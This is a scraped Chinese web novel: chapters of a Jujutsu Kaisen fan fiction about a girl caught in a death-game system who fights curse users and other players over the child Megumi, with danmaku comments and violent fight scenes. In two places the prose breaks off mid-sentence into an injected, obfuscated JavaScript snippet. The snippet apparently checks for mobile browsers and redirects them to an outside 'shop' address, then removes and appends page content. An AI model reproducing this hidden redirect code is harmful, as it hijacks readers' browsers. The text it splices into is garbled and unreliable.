虽然没人性的都被禁了，这个世界渚星也也没见过小笔记的相关人员，有名的病娇也没见过……或许她的前男友算一个。 靠着菠萝包顶过了中午，下课后她转了一圈，买了些东西就到了黄昏，渚星也走到红绿灯前，没赶到绿灯，她盯着红灯，微凉的风吹散了黑发。 跳跃闪烁的霓虹灯牌装点着东京，高楼大厦林立，樱花树下遮掩着人来人往的商业街，广告牌上是光鲜亮丽的明星。 即使待了多年，这一幕对于渚星也依旧陌生。 过去是清晰的一条线，未来对于她而言，却是模糊的点。 下午随便煮点清汤面好了。 她垂下眼，跟随着人流一同穿过马路。 【滴——】 突兀的电子音在脑海中响起。 【本次更新结束，修复玩家掉线等诸多bug，现在请确认玩家身份，游戏即将开始。】 【请确认玩家身份——】 穿过马路，渚星也脚步一顿，继续朝着家的方向走。 ……之前进入副本，是没有这种话的，也没有系统提示音，她都是睡一觉就进入副本了。 渚星也加快了步伐。 【请确认玩家身份。】 她回到家反锁住门，将家里的总闸拉下。 【请确认玩家身份……30s后无人作答，系统默认已确认。】 【系统已确认玩家〈渚星也〉身份。】 意识蓦地陷入黑暗，似乎脚下有一双又一双看不见的手拉住她的脚腕，让她陷入泥潭，呼吸困难紧促起来。 ——【弹幕加载中。】 【加载完毕。】 【欢迎来到逃杀游戏，玩家就位，副本通关的唯一条件：杀死其他玩家。】 【你需要淘汰除你之外的149人。】 平板冷漠的电子音奇异发出低沉而诡异的声响，还伴随着一声嬉笑。 四周的空气沉重而粘稠，仿佛每一口呼吸都能吸进无尽的黑暗与未知，渚星也的视线开始模糊，耳边响起了低沉而悠长的呢喃。 夜幕低垂，星辰隐匿。 游戏开始。 4. 第四章 “渚星也？” ——渚星也猛地睁开眼睛，黑色的流体漫过袖口，看到裸着上半身的肌肉男，她清醒过来，发现自己正站在大厦顶楼。 目测有三十几层，黑夜。 她站在栏杆上。 “……” 渚星也有点恐高，伸手抓住旁边肌肉男的胳膊。 “你谁呀？”她问。 “又犯病了？” 啊，她有病的事应该只有自己知道吧。 肌肉男一脸不耐，“我管你犯什么神经，等会儿别忘了把禅院家的十种影法术抢过来，抢不过来就杀了。” “嗯？” 渚星也茫然望天，这些字分开她都懂，怎么合起来就听不懂了，她应该是进副本了吧，但这个副本怎么听到了耳熟的词。 “杀谁？” “禅院家的十种影法术。” “叫什么啊？” “什么惠，不重要。” “……为什么？” 肌肉男一脸的莫名其妙，“不杀他等他长大，又来一个和五条悟一样的天才咒术师啊，你还是不是诅咒师了？” 原来这个世界的她身份是诅咒师啊。 渚星也离栏杆远一点。 ［这就是咒回特殊篇的含金量吗，制作这么精良，连路人都这么漂亮。］ ［咒回，属于我的一款亡妻回忆录。］ ［来看走马灯咯。］ ［新人，看到它挂在首页就点进来了，什么是特殊篇啊。］ ［原作的平行世界篇，采访说是做了场梦稀里糊涂画出来的，发现画的还挺顺畅，干脆就作为if线来画。］ ［番外卷主角有点漂亮啊。］ ［虽然老登不做人，但我能再看一百年！］ ［我能怎么办，他手里捏着我老婆啊混蛋。］ ［手机里面突然出现好奇怪的直播app，哈喽，不会又是什么奇怪的术式吧。］ “……” 渚星也捧着脸，抬起脑袋，弹幕一样的小气泡文字在面前漂浮，时间一长自然消散。 她要是不知道这是什么，就不用冲浪了。 是弹幕。 进入副本前系统似乎说过，更新了弹幕模块。 渚星也思考，不过特殊篇是怎么回事？主角又是什么意思？之前的副本不都和原世界毫无关联，基本都是局限在一个场所，类似于学校，电影院，精神病院。 为什么地图变大了？ ［0卷的主角是骨子哥龙傲天，特殊篇的主角不会是走凤傲天路线吧。］ ［骨子哥还有里香啊，特殊篇主角开局怎么什么也没有，也不惨，不对啊，作者改性了？不是黑深残向少年漫吗，咣咣死人。］ ［只有我一个人觉得特殊篇主角双黑很戳我的xp吗，眼睛好黑好漂亮，看起来就是能一刀结果我的病娇。］ 弹幕说的是她？ 她不是病娇，也只符合一个字。 双黑，在二次元的世界双黑都成了稀缺货。 ［扒扒公式书……呦，主角叫星也，是混血种花妹诶，怪不得黑发黑眼，父母双亡，祖母带大，后面祖母也死了，有个前男友，不过好像分手了，嘶，好像有点惨，不会是起点孤儿院吧。］ ［正卷，0卷，番外卷主角，除了骨子哥有父母，虎子和新卷主角凑不齐一对父母。］ ［是番外卷啊，番外也要继续打宿傩吗。］ ［别打了我害怕。］ ［和隔壁火影■者一样，漩涡面麻？反派不变？］ ［傩哥进周本吧，累了。］ ［宿傩？什么打宿傩？？？］ ［宿傩原来这么有名吗。］ TD。 TDTDTD。 她才不打。 “星也，你又发什么呆。” 她消化弹幕里的信息时，又有其他的声音在高楼之上突然出现。 一眨眼就瞬移过来。 一个全身蒙面像忍者一样的男人，一个穿着吊带短裤波浪卷长发的时尚女人，还有一个看起来俊秀无害长刘海的棕发青年。 都不是玩家，头顶没有玩家的绿色小三角。 系统给她的信息姗姗来迟，进入脑海中，很短的一些信息，大概是补全玩家突然出现在这个世界的设定。她在这个世界是诅咒师，身世和自己的世界一样，幼年父母双亡，祖母去世……有一个前男友，区别在于后面她因为没钱误入歧途，被诅咒师捡到，培养了一番成为小诅咒师。 系统真会偷懒。 至于三个人加肌肉男，都是一起同行的诅咒师，没有友情，全靠利益和委托临时组成的一个team。 加上肌肉男和她，就是五个诅咒师。 不少了。 这都可以打涩谷本了。 这次组团，是因为他们得到的消息，能与五条家六眼抗衡的十种影法术出现了，禅院家的咒术师与爹做了什么交易，将十种影法术卖了，据他们所知十种影法术的爹刚死不久，家里就一个单亲妈妈和两个小孩，难度很低，所以赶在禅院家来接人之前，提前过来踩点。 他们要和禅院家抢人。 理由也很简单，十种影法术长大对诅咒师不利，不想再来一个和五条悟一样的天才出现。 以及隔应一下咒术师，咒术师不开心，他们就开心。 也就是说…… “十种影法术多大啊？” 她问。 肌肉男打了个哈欠，“不知道，大概三岁，四岁？这又不重要。” 渚星也：“你是人渣哦。” “什么？” 她眨了下眼，无辜脸岔开话题：“风大，你听错了。” 他们现在已经蹲点，同行的诅咒师纷纷拿出自己的武器。 渚星也没动作，她是玩家，不是诅咒师，让她杀她就杀啊，再说那是她曾经的推（幼年版）。 她要找的是【玩家】。 【副本】中，系统不会分配队友，除自己之外全员敌人，玩家自己当然可以组队，没有系统保障，半夜捅刀子的多的是，所以基本上都是独来独往，进入一定的范围内就可以看到对方头顶上的绿色小三角，那是玩家的标识。 常态下的她战力一般，还是找个地方苟起来吧，至于诅咒师……她可没忘记咒回世界观下的诅咒师都是杀过人才成为诅咒师。 渚星也瞥了眼楼下的车水马龙，转过头要从天台的楼梯下去，刚走了没几步，被一只手拉住了手腕。 “星也，你要去哪里。” 她停下脚步，看过去。 棕发俊秀的青年看着她，系统给的记忆里，这个塑料队友叫伦，是team里的军师角色，负责给他们情报和探查地形。 “不玩这个游戏了。”渚星也抽了抽自己的手，没抽动，她老实巴交地说，“我是新人，还小，也帮不到什么忙，会拖你们后腿。” 伦轻笑了一下，“难道不是突然良心发现了吗。” 他的笑容有些嘲讽。 “诅咒师也有良心？” 讨厌，怎么还诬陷人。 早知道就说上厕所了。 其他诅咒师反应过来，脾气暴躁的肌肉男气冲冲地问一句，“都到这种时候了，你不会要反悔吧渚星也，留我们对付禅院？！” 诅咒师笑容柔柔，红唇扬起，“小星也想跳船，可以哦，那就先杀了你。” 全身包裹像忍者一样的诅咒师拿出了双刃。 渚星也看着这一幕，扭头看伦，无声控诉。 这个嘴，就非要说话吗。 ［等一下，番外卷的主角怎么回事，怎么是诅咒师？］ ［我没听错吧他们要杀惠？！！！］ ［这个时间线我没记错的话，甚尔噶了，但是五条老师还没收养惠吧。］ ［看了眼番外卷背景，杰还在苦夏，还没遇到双胞胎，灰原也还没死。］ ［禅院家怎么回事，甚尔一没就来了。］ ［正卷里有说过惠惠去禅院本家住过一段时间吗？］ ［按照正卷时间线，也没有这么早啊。］ ［惠？有发生过嘛，我怎么记得只带过他去禅院家待了几天就回来了。］ ［啊啊啊啊欺负我推的都不得house！］ ［伏黑啊，你上电视了——］ ［可恶，我也想上啊。］ 渚星也看到弹幕，微微睁大眼，“这么紧张做什么？” 黑曜石一样漆黑的眼瞳盯着伦，弯了下。 “我就是活跃一下气氛。” “松手嘛，土豆，你弄疼我了。” 伦：“……” 他笑意微僵，“土豆，是谁？” 渚星也：“你呀。” 伦深深看了她一眼，松开了手。 渚星也活动着自己的手腕，一圈都是红的，力气真大。 “别玩了，上。”肌肉男翻了个白眼，恶声恶气。 说着诅咒师纷纷从天台跃下，身形一闪跳跃到房梁，像鸟雀一样轻盈。 渚星也当气氛组鼓掌，一转眼，伦看着她。 “你怎么不下去？”他问。 渚星也：“恐高啊。” 黑发少女勾了勾脸颊，瞥了眼楼高，后退拨浪鼓摇头，“我很怕。” “……” 伦似乎把这辈子的沉默都用在了今天。 他深吸了口气。 “你的术式很有趣。” 他笑得和善又温柔。 “假以时日，有了合适的机会，说不定能够和五条悟抗衡。” 伦顿了一下，“……恐高，能克服就克服吧。” 说着伸出手。 “我来抱着你跳下去。” 渚星也眨眼，由衷说道：“你真是个坏人耶。” 伦就当这是夸奖了。 他环住渚星也的腰，毫不犹豫地跨了出去。 璀璨的霓虹灯火连成一片，夜凉如水。 倏然而至的风卷起衣摆，如同展翅欲飞的蝴蝶，乌黑长发在黑夜中飞舞。 视线遮掩下，她抬眸，与同样低头的伦对视。 看到了他额头上浅淡的缝合线。 “……” 头顶有缝合线，身具术式，名字叫伦，与［ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13792359|145904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加茂宪伦］重合一个字，行为举止和现代人有些割裂，笑容很阴，人也不差。 和咒回漫画中的反派boss羂索像。 可能就是本人。 啊，这个信息量有点太大了吧。 渚星也环在他脖子上的手用了力。 “你做什么？”伦凉凉地问道。 “……情不自禁。”渚星也挠了下吹到脸上的头发，对他笑，“我看你有几分故人之姿。” 伦笑了一声，“那也是我的荣幸。” “像我的前男友。” 他顿住。 渚星也正要说话，忽然停下，她松开手落在地面，抬眸望向不远处。 那里有一个绿色的三角标识。 这么快就遇到玩家了。 之前的三个副本，她都是被玩家忽略，就算玩家看到了也会以为她是npc。 但这一次，这个副本开始前，系统反复确认了她的玩家身份。 她会死在玩家手里吗。 ………… “你们要干什么？” 打扮时尚的女人推开门就被肌肉男抓住了手腕，冷漠地说：“我们对非术士的命不感兴趣，不想死就离远一点，别碍眼。” “继承十种影法术的小鬼呢。” 他的话音落下，一个抱着黑色兔子玩偶，三四岁左右的小男孩站在卧室门前，懵懂地盯着他们。 “是你啊……” 同样是会使用咒力的特殊人群，不难辨认出自己的同类，肌肉男忍不住露出一个笑容，那笑容充满玩味与恶意。 “小鬼。” 从旁边跑出来一个小女孩，强忍着恐惧展开自己的双臂，声音颤抖着说：“不许欺负惠。” “又来一个？” 肌肉男偏过头。 “都杀了还是？” 诅咒师答：“非术士别动手，杀了那些老头会找麻烦。” “啧，行吧。” “渚星也呢，她的术式不是吞噬吗，要想获得十种影法术就只能杀了这个小鬼，她不是想要吗，人呢。” 肌肉男刚说完，他听到身后拔刀的声音。 转过头，刚才他嘴里的少女，后退了几步躲在伦的身后，伦无奈笑了下，抽出插在男人胸口的长刀，甩掉长刀上的血。 穿着羽织的男人捂着胸口，唇边流血，咬牙切齿地说：“你不要脸，你居然让npc帮你。” “自己做不到，就不要怪别人做不到。” 渚星也从棕发青年身后探出脑袋，拉了拉袖口，遮掩住快蔓延出来的黑色黏液，平复了下自己猛烈跳动的心跳，抬起手指左右一晃，抿唇笑容明媚，“这叫合理利用。” 副本世界，当然也可以借助npc的手杀其他玩家，前提是你可以，副本世界的npc除了boss，一般都不爱搭理人，不是没有玩家想利用npc，但被反杀的很多，风险太大，久而久之，玩家之间默认npc就是npc，npc当不成队友，和其他玩家当队友一样，都是坑。 再加上，npc杀掉玩家，系统不会给积分。 杀死其他的玩家或怪物，系统会奖励［积分］，获得足够的积分就可以在系统商城购买一些武器和技能，大部分只能副本世界用。 她的积分蛮多的，都是杀怪杀来的，也没有用过。 她刚才察觉到玩家出现的瞬间，就抓着伦的衣服朝他身后躲。 果然下一秒，玩家身形一闪到她面前，要杀了她，被反应过来的伦一刀穿透了胸口。 “你动手吧。” 渚星也给伦说。 伦问道：“他是谁？” 渚星也想了下。 “老家的仇人，你不动手我就动手了。” 伦看了她一眼，干脆果断的抬刀，刺中玩家的心脏。 光屏里也没有通告玩家被npc杀死。 只有玩家被玩家杀死，系统才会通告，她只看到了总体人数-1。 看着玩家衣服上的花纹，伦收刀，侧脸问，“老家的仇人？” 他似笑非笑。 “这应该是禅院家的咒术师。” “非禅院之术士枉为术士，禅院之非术士枉为人。” “老家？你也是咒术师家族？” 伦说完这句话，抬眸望向渚星也。 ……他有800个心眼子吗，好扣字眼。 渚星也眼中倒映着他的身影，没等她回答，就被包围了。 一二三……六个绿色的小三角在周围，他们腰间带刀，身着羽织，一身肃杀之气。 玩家就混到npc里面。 渚星也仰起脸，只有一个念头。 他们怎么还没互相砍起来，快点打起来啊，摆什么poss。 对了。 渚星也问系统。 ［弹幕是每个玩家都有吗。］ 【是。】 ［观众是一样的，还是不一样的？］ 【观众来源于玩家的世界。】 怪不得。 渚星也捏着下巴不合时宜地想。 因为是穿越者，所以弹幕是三次元啊。 5. 第五章 最前面的人很眼熟，金发染的很匀称，黑衣带刀，神色倨傲又带着冷漠，长相也很符合大众嘴里的美人颜。 禅院直哉。 渚星也看了眼他的金发。 简直是妈生头。 她又看向玩家，一个玩家一脸殷勤凑到禅院直哉身侧，笑得不值钱，“少爷你别动手，让我们动手就好。” 禅院直哉的脸蓦地黑了，胸膛起伏着，目光嫌恶看着玩家。 “滚。” 玩家：“好嘞少爷。” 渚星也：“……” 禅院直哉，又名彩云猪猪，出身于咒术界御三家之一的禅院家，家主禅院直毘人的儿子，官方认定的只有脸能看的人渣，还是禅院甚尔毒唯。 咒术版·柳如烟。 这玩家也是颜狗，感觉被扇一巴掌都会爽。 抖爱慕吗。 她想着，玩家的视线也挪过来，落在她的身上，倏地笑了，四目相对间，被杀意锁定。 六个人，锁定她一个。 其他玩家看起来也心怀鬼胎，随时都打算背刺。 讨厌。 “都杀了。” 禅院直哉看了不看诅咒师和地上已经死透的玩家一眼，落下一句，他朝着房子走去。 玩家嘻嘻一笑：“好，那个黑头发少女的是我的。” “黑头发小漂亮归我。” “那个黑眼睛的，我来杀。” “黑……” 玩家们的声音不约而同重叠在一起放大，让本来离开的禅院直哉硬生生停下脚步，转头看过来。 于是在场的所有人都在看她。 被迫瞩目的渚星也：“……” 啊，就这么水灵灵的专门逮住她一个人薅吗，就不能先内部消化一下？ 她一个人也不够分吧。 “诅咒师？” 禅院直哉盯着她，却问着玩家。 “你们认识？” 玩家：“包杀熟的。” “不熟，杀了就熟了。” “喜欢杀长得好看的。” 玩家摸着下巴若有所思看她，“系统给身份一般有迹可循，你能成为诅咒师，这得多阴暗啊。” 渚星也对他们眨了下眼，乖巧笑：“不要刻板印象，我心理很健康的。” 玩家：“精神病都说自己没有病，醉鬼都说自己没喝多少，恋爱脑都说自己放下了，我永远的姐，杀人犯在法庭上也说自己有苦衷，留下鳄鱼的眼泪呢。” 伦也说道：“他们都是你老家的仇人？” ……还聊起来了？ 之前没享受过这种待遇，还被玩家当做npc，渚星也突然感觉这些家伙有够烦人的。 还有伦，你一个千年老妖怪凑什么热闹。 禅院直哉呼了一口气，禅院家除了本家，还有一些依附于禅院家的小家族，这些人就是那些小家族献上来，抹去自己原来的姓氏成为禅院家的一员，本来看他们年轻能力也能看的过去，就安排到他手下。 但这些家伙，脑子不正常。 一开始看到他嘴里说着奇怪的话，他没听懂，就当作没听到，后面犯错误踹了他们一脚，不说惊慌低头认错，他们还笑着说再来一脚，还是第一次被踢。 神经病，一群神经病。 这个人也和他们一样？ 禅院直哉从上到下打量着黑发的少女。 乌发黑睫，长的精致漂亮，长发垂落在腰后，她仰起头露出脆弱的脖颈线条，漆黑的眼睛一眨不眨地望过来。 确实漂亮。 他心念一动。 “把她留下来。” 禅院直哉下达命令。 渚星也：“？” 留她做什么？拷问啊？ 不过…… 黑发少女瞥了一眼，歪了下头，不在意他说的话。 玩家不是听话的狗，逃生游戏，大多数玩家都想要通关，偶尔会有另类不正常的乐子玩家欣赏欣赏风景，和漂亮npc搭话，屁颠屁颠跑腿，但这个游戏的核心就是竞争和厮杀，不管中途做了什么，最后都是要被杀和杀人。 他的话说完，禅院家的玩家神色有了细微的变化，态度轻佻的玩家也没有说“好的”，他们抬眼，反手抽出腰间自带的刀，长刀瞬息间穿透血肉，发出令人牙酸的声响。 被杀死的玩家惨叫了一声，倒了下去。 在【副本】中，死了就是死了，杀玩家等于杀人， 这个游戏，所谓的【副本】和【系统】，渚星也都不认为它们是善意的。 ［啊啊啊啊星也快救惠惠啊！！！］ ［什么地狱开局，番外卷主角还是诅咒师……woc惠不会在这个if线死吧。］ ［啊啊啊楼上不许说不许说你闭嘴你闭嘴！］ ［正卷都够刀了，番外卷还要刀我吗。］ 渚星也看到弹幕飞快扭头，肌肉男诅咒师见形势不妙，已经打算速战速决，举起手里的刀劈下。 刀锋下是小孩苍白无色的脸。 身后是虎视眈眈的玩家。 她怎么救啊？ 百分百空手接白刃吗。 禅院直哉被突然的混乱弄得怔愣住，他迅速反应过来，一拳击中攻过来的玩家，玩家扑通趴到地上，抹了把额头的血看也不看一眼，转头就朝着其他禅院家的咒术师攻去。 或者说真正彼此有杀意的只有那六个外姓人，其他的人都是被他们牵扯进去，被动拿起刀混战。 禅院直哉的脸都黑了。 “你们都给我住手！” “……” 没有人听，或者说已经乱到无暇顾及。 他忽然听到小孩的哭声和女人的尖叫声，侧眸看去，银亮的刀身倒映着月光。 ——那个小鬼！ 不会记错的。 和甚尔一样相似的眼睛。 手筋鼓起，禅院直哉发动术式，能拦下来，但黑影在眼前闪过，比他更快，“噗”得一声，黑色的刀刃穿过肌肉男的腹部。 肌肉男浑身紧绷，一脸不可置信低下头。 “渚星也，你——” 从背影看，少女像乌木一样黑的纯粹的长发突兀变长，长到小腿，她垂着头，细碎的刘海遮掩。 黑发少女将满是鲜血的长刀拔了出来，向前一挥。 肌肉男和忍者样的诅咒师在一刀之下，身首异处，头颅咕噜咕噜滚到正混乱的玩家脚下。 寂静无声。 （血的味道……要更多更多，杀了他们……） （不够，这些还不够） （星也，喂饱我们，你得喂饱我们） 好吵。 它们在兴奋。 浅薄的理智坠入更深沉的黑暗，黑发少女收刀，她抬起头，刘海下的幽绿色眼瞳一眨。 邪气森森。 “……女鬼，我去。”玩家忍不住喃喃出声。 “双重人格也能进本吗。” “我怎么感觉这人有点熟悉？” 玩家苦思冥想，也想不出个所以然来，只是本能对那双绿眼睛有些惧意。 给玩家的感觉很古怪。 剩下的诅咒师呢喃着“你疯了”，后退数步，将旁边的小孩扔出去，自己破窗要逃跑。 下一秒却被黑色的，犹如枝桠一样的东西贯穿了喉咙。 黑发少女接住被扔过来的小孩，蹲下身他对视，自上而下的打量，在评估着什么。 “不能欺负……都杀了……” 她声音很轻地说。 渚星也手碰到他的脸，又碰了碰他的睫毛。 “你变小了。” 她说。 不能杀他。 目光短暂的清明了一秒，很快又被莹莹绿光遮掩，所有的一切都被猛烈的愉悦感冲破，唯独一句话在脑海中迟迟不散。 ——绝对，不能杀。 不能杀谁？ （杀了，杀光……都杀光……） （星也，你需要我们，干掉他们，你就能回到原点） （不能碰不能碰，怎么能有除我之外的人亲近星也） （只要听我们的话，你会走向幸福的结局） 玩家的嘀咕声，被闯入家中无辜女性的哭泣声，小女孩被女人抱住，脸苍白着小声说不要伤害惠，不要伤害弟弟，咒术师的刀落在地上，发出难耐的“刺啦”声。 树上的两只鸟儿在移动身体，电线上乱跳，老鼠在暗处嗦嗦寻找食物。 吞咽的声音，呼吸的声音，心跳的声音。 风吹过的声音。 脑海里空前清晰的怪物的声音。 各种各样的声音。 ……尸体是不会发声的。 迟钝的大脑思考着，渚星也的双手从背后抱住小孩纤细的肩膀，无视颤抖的身体，紧紧地抱住。 “安静一点就不杀你哦。” 她贴贴脸，轻轻说。 “……” 尚小的小孩还不知道什么是死亡，什么是恐惧，只是本能的感觉到危险。 他被环抱住，半蹲下来的少女黑色的长发如绸缎一般，长及脚踝，冰冰凉的碎发落在他的脸颊，小孩眨了下和少女没有相似度的绿色眼瞳，空气中弥漫的血腥味让他下意识地钻进她的怀抱。 好凉。 身体像冰块。 他呆呆地想。 弹幕在余光中刷了出来。 ［呜呜呜好乖好乖的宝宝感觉能一口吸掉。］ ［我算是明白了，这是jjxx的xp大作吧，主角纯邪道了，看这咔咔杀人。］ ［杀的也是诅咒师，诅咒师都是杀过无辜非术士的啊。］ ［别杀惠别杀惠，信女愿一辈子吃素，求别杀啊！！！］ 黑发绿瞳，鬼气森森的少女抬起手触碰到脸，漆黑的面具覆盖整张脸，她看过来，锁定住出声打扰她的人。 “我不管你是内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13792360|145904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讧还是发疯……” 禅院直哉扬起下巴，斜着眼说，仿佛死的这几个人根本不会让他重视起来。 “不想死就把你手里的那个小鬼放开。” ［禅院猪猪要救惠吗？］ ［他有这么好心？涩谷不是还想杀惠？］ ［这不是十年前嘛，这货也不可能从小就歪吧，还是甚尔毒唯。］ ［讲道理杀了惠禅院直毘人才会对他彻底失望吧，好不容易盼到一个十种影法术。］ ［被直哉拐回禅院家……这个if线我惠不会叫禅院惠吧，不要啊。］ 这些字，不吵。 他们太吵了。 只要存在就很吵。 少女不回一句，看也不看一眼，就当他是空气，目光一转，落在玩家身上。 玩家两两对视，“跑吧，感觉她能把我的肠子扯出来玩，这都杀三个npc了。” 颜狗玩家傻住不动。 “好可爱。”颜狗玩家倏地捧着脸，着迷地看着抱着小孩的少女，“像呼吸的尸体，好阴湿，好扭曲，好萌，好涩情。” “……” “你脑子有泡啊！” 禅院直哉的表情也有些失控，和这些来路不明的神经病待在一起听他们的疯话，折磨的是自己。 黑发少女似乎从待机的状态脱离，她站起来，长发拖地，右手一翻，纯黑的长刀出现在手中，少女向前一步顿了下，低头看着自己身后的小孩。 她将小孩提起来，长刀一横，如银虹般刺过去。 黑刃太快，太狠，闪避困难的玩家捂住自己的脖子无力跌倒在地，死死盯着她这边，充满怨恨不甘，喉咙里不由自主发出了仿佛野兽垂死时的叹息。 血溅到面具上，却什么也没留下来，反倒是被她拎着的小孩动弹不了，血喷溅在身上，他闭着眼一声不吭。 一个。 玩家倒地。 【剩余玩家人数：126】 两个。 【剩余玩家人数：125】 有两个玩家互相对视，从左右包抄，但他们刚迈出一步，从水泥地钻住的黑色枝桠穿透他们的身体，像盛开的花向四面蔓延。 【剩余玩家人数：123】 还剩下最后一个。 颜狗玩家眨着眼睛忍不住开口：“杀疯了啊，我之前怎么没见过你。” “……” 没得到回答，玩家毫不犹豫躲在禅院直哉身后，大喊道：“少爷救命啊！” 这神经病！ 禅院直哉想将这人一脚踹出去，他带来的人，那六个外姓发疯打起来死了五个，咒术师人本来就少，就算是御三家，一天之内少了五个咒术师，他也免不了被惩戒。 都是一群废物。 奇怪的是眼前的黑发少女没有对其他的人动手，最多就是折断胳膊，将扑上去的人踹飞重重砸到墙上，这种程度都死不了。 “很碍眼。” 她说，视线落在禅院直哉的身上。 这个，以后会自己死。 渚星也又看向玩家。 这个，现在就得杀。 还有一个。 她环顾四周，没有看到那个人，那个以后会死，但现在死了更好。 不见了。 在场的都杀了，杀她的，都要杀了，害她的都杀了全都杀了没一个好人迟早都是要死的活着浪费空气污染她的眼睛心脏跳动太吵了不如都成为尸体好了。 大脑里循环反复着这句话。 全都去死。 冷眼看她杀了玩家后也不见一丝疲惫，反而越来越兴奋，使用的术式也是生平未见，禅院直哉不再观望，直接发动术式。 投射咒法，禅院家的家传术式之一，目前只有老头和他继承。 他的术式能够将时间分割成二十四等分，能够让对方必须模仿他的动作，但前提是能够触碰到她。 但眼前的少女仿佛知道他的术式，全身被黑色的流体覆盖，哪怕他碰到也无济于事，不需要转头，身体四周没有薄弱点，哪怕他速度再快，身体上覆盖的黑色流体也会先他一步覆盖住少女的身体。 根本不能近身，让他想到了一个从出生起就在仰望的家伙。 让人火大。 面具遮掩，禅院直哉似乎忘记了刚才让他想要留下来不杀的那张脸，忘记了他过来的目的，只剩下要打倒这个诅咒师。 打倒，带回禅院家的禁闭室，关起来再好好审问。 不听话就折断双手双脚。 但这个人越打，就仿佛越有生气，从一开始的死气沉沉像个鬼一样，到现在长刀横在他耳边，口吻嘲讽。 “我知道你，直哉。” “你是一个……” 黑发少女想了下词语。 “漂亮蠢货。” 遮掩住脸的漆黑面具褪下一半，只露出一双碧莹莹的眼睛，语气说不出的恶劣。 “先天四爱圣体。” 6. 第六章 禅院直哉当然不知道四爱是什么意思，但他能看出来眼前少女对他的恶意和轻蔑。 刚才那个被迫瞩目，看上去平凡孱弱，也就是比普通人更漂亮些的少女不知道怎么回事倏地变得恶劣至极，让人想要撕烂她的嘴。 “我对直哉你没有兴趣。” “滚开就好了。” 说完，她抬刀指向玩家，玩家哀叹了一声扮猪吃老虎。 大家都是一样的起点，从零开始升级互砍，怎么到你这里就大号顶小号了，不公平啊。 没有兴趣？ 禅院直哉狠狠瞪了一眼渚星也，以往都是他对别人说没有兴趣。 滚？ 她有什么资格对他说滚的。 不过是个诅咒师。 区区诅咒师，区区女人—— “把他给我，没有诅咒师愿意得罪禅院家。” 禅院直哉放话，神情流露出些许愤怒和焦躁来，他长得漂亮，不用化妆皮肤也好，瞪起人来毫无威胁力，还不如村口的丧彪吓人。 “可以啊。” 意外的，那双绿色的眼睛却一弯，盛起了笑意。 禅院直哉愣住。 被她抱在怀里的小孩忍不住攥紧她的袖子，少女没有低头，只是抬起头，随意地拍了下他的脑袋，继续接着说下去。 “只要你汪汪几声，叫的可爱我就把他给你。” 她侧了下脑袋。 “喵喵也可以，我喜欢猫咪。” “你！” 蓦地加重的呼吸，禅院直哉短促吐出一个字，愤怒让血液往上涌，从脖颈蔓延到脸上，散落的金色发丝贴在苍白脸颊上，黑色宽袖羽织下的衬衫从一开始的一丝不苟紧扣到脖子，到现在的领口凌乱，露出的锁骨随着呼吸起伏。 看起来气得不轻。 气死他。 “他现在几级咒术师？” 玩家眨了下眼，思考自己要能活着还挺想继续苟在禅院家，就没有说。 渚星也自己猜。 “二级？” 她观察着禅院直哉的反应，果然呼吸一顿。 “二级啊。”绿莹莹的瞳眸冰冷倒映着他的脸，少女轻嘲着说，“还禅院家呢，十年后你也才是一级，别说自己是天才了，隔壁家都特级了你还是二级，十年后人家是特级中的特级，你是一级，这么多年了特级指标就在那里，哪里变高了，有时候找找自己的原因，实力强不强，有没有认真祓除咒灵？” 玩家：“……” 小美女你真敢说啊！ 他在禅院家的这几天，没少认识到禅院直哉的嚣张跋扈，仗着自己是继承人，对同样为禅院家孩子的两个女孩嘲讽，一点也没有他们还是孩子需要照顾的想法。 同样很在意自己的能力。 也很容易破防。 知道禅院家的十种影法术被人继承后，自己不是继承人了，破防的关在房子里把家具都给砸了。 不过这隔壁家的孩子是谁啊？ 玩家不知道，但禅院直哉知道，他也确实被激怒了。 他本来是继承人，如果没有那个小鬼，他就是继承人。 得知十种影法术的出现，那些烦人的废物也敢开始嚼舌根，认为他的地位即将大不如从前。那些废物能够换掉，从自己眼前清理掉就行，清理不掉的是他前去质问禅院直毘人，老爹平静面庞下吐出的话语。 “五条悟已经成为了五条家的家主了，直哉。” 禅院直毘人叹了口气，什么也没有说，只是轻飘飘地看了他一眼。 老爹想告诉他什么？ 想告诉他没有十种影法术，他就是继承人，以后的禅院家家主？ 没有十种影法术……没有他，如果没有他…… 这不就是在承认，他不如一个还没有膝盖高的小鬼。 老爹这样认为，其他人也这样想，他们不说，他们的眼睛却敢明晃晃说出来。 这个人…… 这个莫名其妙的女人—— 禅院直哉呼吸紊乱，眼中藏着冰冷的杀意。 察觉到杀意，少女笑容淡下，绿眸幽幽，面无表情地望着他，黑刃几近融入夜色。 下一秒，她苍白漂亮的脸贴近。 “好讨厌，那还是杀掉吧。” 匕首刺向她的脖颈，黑色的流体却将匕首缠绕，一寸寸的吞噬，直至彻底消失，呼吸间发生的事，若不是禅院直哉收手快，就要爬上他的手指。 “怪物。” 这根本不是术式，没有任何的咒力流动。 “你果然很在意你的脸啊。” 她抬起手，突然地停下。 渚星也望着远处，看了一眼苟着的玩家，“你等着。” 说完，身影犹如雾般消散。 带着那个小鬼。 